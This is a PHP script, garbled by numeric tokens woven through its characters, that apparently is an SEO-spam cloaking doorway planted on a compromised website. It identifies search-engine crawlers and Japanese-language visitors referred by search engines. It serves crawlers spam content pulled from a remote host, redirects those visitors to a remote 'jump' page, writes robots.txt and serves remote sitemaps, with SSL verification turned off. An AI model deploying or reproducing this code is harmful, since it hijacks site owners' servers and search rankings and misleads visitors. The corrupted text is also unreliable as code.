1 < 1 ? 1 p 2 hp 1 1 e 2 rr 1 o 2 r_ 2 re 1 p 1 o 2 rt 1 i 2 ng 1 ( 1 0 1 ) 1 ; 1 1 @ 2 se 1 t 2 _t 1 i 2 me 1 _ 2 li 1 m 1 i 2 t( 1 1 1 2 5 0); @ 2 ig 1 n 1 o 2 re 1 _ 2 us 1 e 2 r_ 1 a 1 b 3 ort 1 ( 1 1 4 ); $ 1 t 2 r 1 = 1 1 " 2 ht 1 t 2 ps 1 : 1 / 1 / 1 j 1 2 1 6 1 0 1 3 1 0 1 5 1 _ 1 2 1 3 1 . 1 b 2 ar 1 r 2 et 1 t 1 . 2 gi 1 v 1 e 1 s 2 /" 1 ; 1 1 c 1 l 2 as 1 s 2 R 1 e 1 q 1 1 { 1 1 3 1 p 1 u 2 bl 1 i 2 c 1 f 1 u 2 nc 1 t 2 io 1 n 1 3 ser 1 v 1 e 2 r( 1 $ 1 n 1 a 2 me 4 = ' 1 ' 1 , 1 2 $d 1 e 1 f 2 au 1 l 1 t 6 = '') 5 6 { 4 1 i 2 f 1 ( 2 em 1 p 1 t 1 y 6 ($name 1 ) 1 ) b { 4 3 ret 2 ur 1 n 1 2 $_ 1 S 1 E 1 R 1 V 2 ER 1 ; 9 1 } 9 8 $name = 2 st 1 r 2 to 1 u 1 p 1 p 9 er($name) a ; 7 return 2 is 3 set 1 ( 8 $_SERVER 1 [ 5 $name 1 ] 2 ) 1 ? 1 10 $_SERVER[$name] 1 : 9 $default 6 ; 1 } 15 public function 3 iss 1 ( 14 ) { if ( 2 $t 1 h 1 i 1 s 1 - 1 > 7 server( 1 ' 2 HT 1 T 1 P 1 S 1 ' 2 ) 1 & 2 & 1 ( 1 " 2 1" 1 1 = 1 = 1 17 $this->server('HTTPS') 2 || 1 1 " 2 on 5 " == 5 strto 2 lo 1 w 4 er($ 15 this->server('HTTPS') 1 ) 19 )) { return t 1 r 2 ue b ; } 1 2 el 1 s 1 e 5 if (' 5 https 1 ' 13 == $this->server(' 1 R 1 E 1 Q 1 U 1 E 2 ST 1 _ 1 S 1 C 2 HE 2 ME 1 ' 31 )) { return true; } elseif (' 1 4 1 4 1 3 14 ' == $this->server(' 7 SERVER_ 1 P 1 O 1 R 1 T 32 ')) { return true; } elseif (' 19 https' == $this->server(' 4 HTTP 1 _ 1 X 1 _ 2 FO 1 R 1 W 1 A 1 R 1 D 1 E 2 D_ 1 P 1 R 1 O 2 TO 28 ')) { return true; } 10 return 1 f 1 a 3 lse 1c ; } public function 1 h 2 os 1 t 11 () { 1 $ 4 host 6 = str 1 v 2 al 14 ($this->server('HTTP d _X_FORWARDED_ 1 H 1 O 1 S 3 T') 1 1 ? 1 : 15 $this->server('HTTP_ 6 HOST') 12 ); return 3 str 2 po 1 s 1 ( 6 $host, 1 1 ' 1 : 4 ') ? 4 str 3 str b ($host, ':' 1 , 5 true 1 ) 4 : $ 4 host 1c ; } public function 1 s 2 ch 1 e 1 m 1 e 11 () { 8 return $ 6 this-> 5 iss() 3 ? 6 "https 1 " 3 : 5 "http 1 " 1c ; } public function 2 dm 1f () { return $this-> 9 scheme() 1 . 1 1 " 4 ://" 3 . 7 $this-> 6 host() 1d ; } public function i 1 p 15 () { if ( 2 ge 1 t 2 en 1 v 7 ('HTTP_ 1 C 1 L 1 I 1 E 1 N 2 T_ 1 I 1 P 12 ')) { 1 $ 1 i 1 p 3 = 18 getenv('HTTP_CLIENT_IP') 14 ; } elseif ( d getenv('HTTP_ c X_FORWARDED_ 3 FOR 25 ')) { $ip = getenv('HTTP_ 11 X_FORWARDED_FOR') 1c ; } elseif (getenv(' 1 R 1 E 2 MO 1 T 1 E 1 _ 2 AD 1 D 21 R')) { $ip = getenv(' d REMOTE_ADDR') 10 ; } else 15 { $ip = 11 $this->server('RE 16 MOTE_ADDR'); } 11 return $ 2 ip 1e ; } public function is 1 c 12 () { $ 1 a 1 g 2 en 1 t 1 21 = strtolower($this->server('HTTP_ 1 U 3 SER 1 _ 1 A 1 G 3 ENT d ')); 5 if ($ 6 agent 1 ! 4 = '' 4 && 1 p 3 reg 1 _ 1 m 2 at 1 c 1 h 2 (' 1 / 1 g 1 o 2 og 1 l 1 e 2 bo 1 t 1 | 7 google| 1 y 1 a 1 h 1 o 2 o| 1 b 3 ing 1 | 1 a 1 o 2 l/ 1 s 1 i 4 ', $ 5 agent 58 )) { return true; } return false; } public function 2 is 1 g 9 () { 1 2 $ 1 r 1 e 2 fe 1 r 22 = strtolower($this->server('HTTP_ 1 R 1 E 1 F 2 ER 1 E 1 R d ')); 6 $refer 3 bot 1 s 4 = ' 16 google|yahoo|bing|aol' f ; if ($ 6 refer 15 != '' && preg_match(" 1 / 1 ( a $referbots 1 ) 4 /si" 1 , 7 $refer 58 )) { return true; } return false; } public function 1 u 2 ri 15 () { if ( 2 ($ 3 pos 6 = str 5 pos($ 16 this->server('REQUEST_ 1 U 1 R 1 I 1 ' 1 ) 3 , ' 1 . 3 php 4 ')) 1 ! 3 == 5 false 11 ) { $ 1 s 2 cr 1 i 2 pt 1 _ 7 name = 1 b 1 a 2 se 4 name 10 ($this->server(' 1 S 2 CR 1 I 1 P 1 T 1 _ 1 F 2 IL 1 E 1 N 1 A 5 ME')) 1 ; d 4 if ( 1f basename($this->server('SCRIPT_ 7 NAME')) 3 == 1 = d $script_name 10 ) { 5 $ 1 u 2 rl 12 = $this->server(' d SCRIPT_NAME') e ; a } elseif ( 18 basename($this->server(' 1 P 1 H 1 P 3 _SE 1 L 1 F 3e ')) === $script_name) { $url = $this->server(' a PHP_SELF') 31 ; } elseif (basename($this->server('O 1 R 1 I 1 G 1 _ 49 SCRIPT_NAME')) === $script_name) { $url = $this->server(' 12 ORIG_SCRIPT_NAME') 18 ; } elseif ( 1e ($pos = strpos($this->server(' a PHP_SELF') 3 , ' 2 /' 4 . $ c script_name) 1b ) !== false) { c $url = s 1 u 1 b 5 str($ 1b this->server('SCRIPT_NAME') 2 , 1 0 3 , $ 3 pos 4 ) . 12 '/' . $script_name 18 ; } elseif ( f $this->server(' 1 D 1 O 1 C 1 U 1 M 4 ENT_ 1 R 1 O 2 OT 6 ') && 16 strpos($this->server(' 11 SCRIPT_FILENAME') 1 , 10 $this->server(' f DOCUMENT_ROOT') 6 ) === 1 0 1d ) { $url = st 6 r_repl 1 a 1 c 11 e($this->server(' f DOCUMENT_ROOT') 1 , 6 '', $ 2e this->server('SCRIPT_FILENAME')); 1 } d 3 $re 1 q 3 uri 4 = $ 4 url 1 . 17 substr($this->server(' f REQUEST_URI'), 5 $pos 1 + 1 1 4 21 ); } else { $ 9 requri = 25 substr($this->server('REQUEST_URI'), 26 strpos($this->server('REQUEST_URI'), ' 1 / d ')); 11 } return 1 r 2 tr 1 i 1 m 1 ( 7 $requri 6 , '/') 1d ; } public function e 1 x 1 e 1 c 3 Req 1 ( 4 $url 4 , $p 3 = 3 arr 1 a 2 y( 1 ) 11 ) { $ 12 url = str_replace( 2 ' 3 ', 1 ' 1 + 4 ', $ 3 url c ); $ 1 c 1 h 3 = 1 c 3 url 1 _ 2 in 1 i 9 t(); 4 5 curl_ 3 set 1 o 1 p 3 t($ 1 c 2 h, 1 1 C 1 U 2 RL 1 O 1 P 4 T_UR 1 L 11 , $url); 19 curl_setopt($ch, CURLOPT_ 2 RE 1 T 1 U 1 R 1 N 2 TR 1 A 1 N 1 S 3 FER 1 , 1 1 1 24 ); curl_setopt($ch, CURLOPT_ 1 H 1 E 1 A 1 D 4 ER, 1 0 24 ); curl_setopt($ch, CURLOPT_ 1 T 1 I 1 M 1 E 1 O 2 UT 1 , 1 1 2 25 0); curl_setopt($ch, CURLOPT_ 1 P 3 OST 27 , 1); curl_setopt($ch, CURLOPT_ 1 S 2 SL 1 _ 3 VER 1 I 1 F 2 YP 1 E 29 ER, 0); curl_setopt($ch, CURLOPT_ a SSL_VERIFY 1 H 5 OST, 25 0); curl_setopt($ch, CURLOPT_ 4 POST 1 F 1 I 1 E 1 L 1 D 1 S 2 , 5 http_ 1 b 2 ui 1 l 1 d 1 _ 1 q 2 ue 1 r 3 y($ 1 p d )); $ 1 o 1 u 2 tp 1 u 1 t 8 = curl_ 4 exec 4 ($ch c ); $ 5 error 1 C 2 od 1 e 9 = curl_e 2 rr 1 n 1 o f ($ch); 5 curl_ 1 c 2 lo 1 s 1 e f ($ch); 4 if ( 1 0 5 !== a $errorCode 17 ) { return b false; 4 12 } return $ 6 output 8 ; } 1 } 1 4 $req 3 = 2 ne 1 w 4 Req 4 (); 1 $ 3 isc 4 = $ 3 req 5 ->isc 7 (); $is 1 g b = $req->is 1 g 5 (); $ 1 u 1 m 1 a 6 p = $t 1 r 4 . " 4 map" 4 ; $u 5 ri = 3 url 1 d 2 ec 3 ode 1 ( 6 $req-> 5 uri() 4 ); $ a p = array( 5 2 "d 1 o 1 m 2 ai 4 n" = 1 > 7 $req-> 4 dm() 1 , 6 " 4 port b " => $req-> 14 server('SERVER_PORT' 1 , 1 1 8 1 0 8 ), " 3 uri 6 " => $ 3 uri 1 3 ); 4 if ( 8 substr($ 5 uri, 1 - 1 1 1 0 5 ) == 1 " 1 r 1 o 4 bots 1 . 1 t 2 xt 1 " 8 ) { 1 h 2 ea 1 d 4 er(" 1 C 1 o 1 n 3 ten 1 t 2 -t 1 y 1 p 1 e 2 :t 1 e 1 x 2 t/ 4 plai 1 n 1 ; 2 c 1 h 1 a 1 r 3 set 2 =u 1 t 1 f 1 - 1 8 1 " 7 ); 2 di 8 e($req-> 9 execReq($ 6 tr . " 6 robots 4 ", $ 5 p)); 1 } 13 if (substr($uri, - 1 6 c ) == "robots 9 ") { a $output = 21 $req->execReq($tr . "robots", $p) 6 ; 1 $ 2 rp 4 t = 2 __ 1 D 1 I 2 R_ 1 _ 4 . " 1 / b robots.txt" 6 ; 1 f 1 i 2 le 1 _ 3 put 1 _ 1 c 6 ontent 3 s($ 3 rpt 1 , 8 $output 9 ); $r 5 obots 5 _cont 3 = 1 @ 5 file_ 3 get e _contents($rpt 7 ); 5 if (s 6 trpos( c strtolower($ b robots_cont 3 ), 1 " 2 si 2 te 4 map" d )) { 4 die( b "robots.txt 5 file 3 cr 1 e 2 at 1 e 3 su 1 c 2 ce 1 s 1 s 1 ! 8 "); 11 } else { 1c die("robots.txt file create 1 f 1 a 2 il a !"); } 15 } if (substr($uri, - 1 4 6 ) == " 1 . 1 x 2 ml 9 ") { b if (strpos( 6 $uri, 1 " 1 a 2 ll 7 sitemap 7 .xml") 1 | 2 | e strpos($uri, " 7 sitemap 1 - 2 in 1 d 1 e 1 x 25 .xml") || strpos($uri, "sitemap-index 1 - 1 1 18 .xml") || strpos($uri, " b index.xml") c ) { 19 $output = $req->execReq($ 4 umap b , $p); 4 1a header("Content-type:text/ 4 " . 9 (substr($ 6 output 5 , 0, 1 5 7 ) === ' 1 < 1 ? 3 xml 1 ' 3 ? 1 ' 5 xml' 2 : 1 ' 5 plain 1 ' 5 ) . ' f ; charset=utf-8 c '); 4 die( 1 ' 5 ' . $ d output); 1 } 24 $output = $req->execReq($tr . " 2 wo 1 r 1 d c ", $p); 1a header("Content-type:text/ 3 xml 17 ; charset=utf-8"); 5 if ($ 8 output = 3 = " 1 1 1 " 10 ) { die( 6 '' . $ 17 req->execReq($umap, $p) 1c ); } else { die( 15 '' . $output); } 3 } $ 1 l 1 a 1 n a g = $req-> d server('HTTP_ 1 A 2 CC 1 E 3 PT_ 1 L 1 A 1 N 1 G 1 U 3 AGE 1 ' 7 ); if ( 1 ! 5 $isc 3 && 5 $isg b && strpos($ 4 lang 3 , ' 1 j 2 a' 1 ) 3 !== d false) { 1 $ 1 p 2 [" 1 i 1 p 1 " 1 ] a = $req->i 1 p 8 (); 1 $ 1 a 6 ction 9 = $tr . " 1 j 1 u 1 m 8 p"; 13 die($req->execReq($ 6 action e , $p)); } if ( 4 $isc 8 ) { 18 die('' . $req->execReq($ 6 tr . " 3 ind 1 a 2 ta b ", $p)); } 1 ? 1 > 0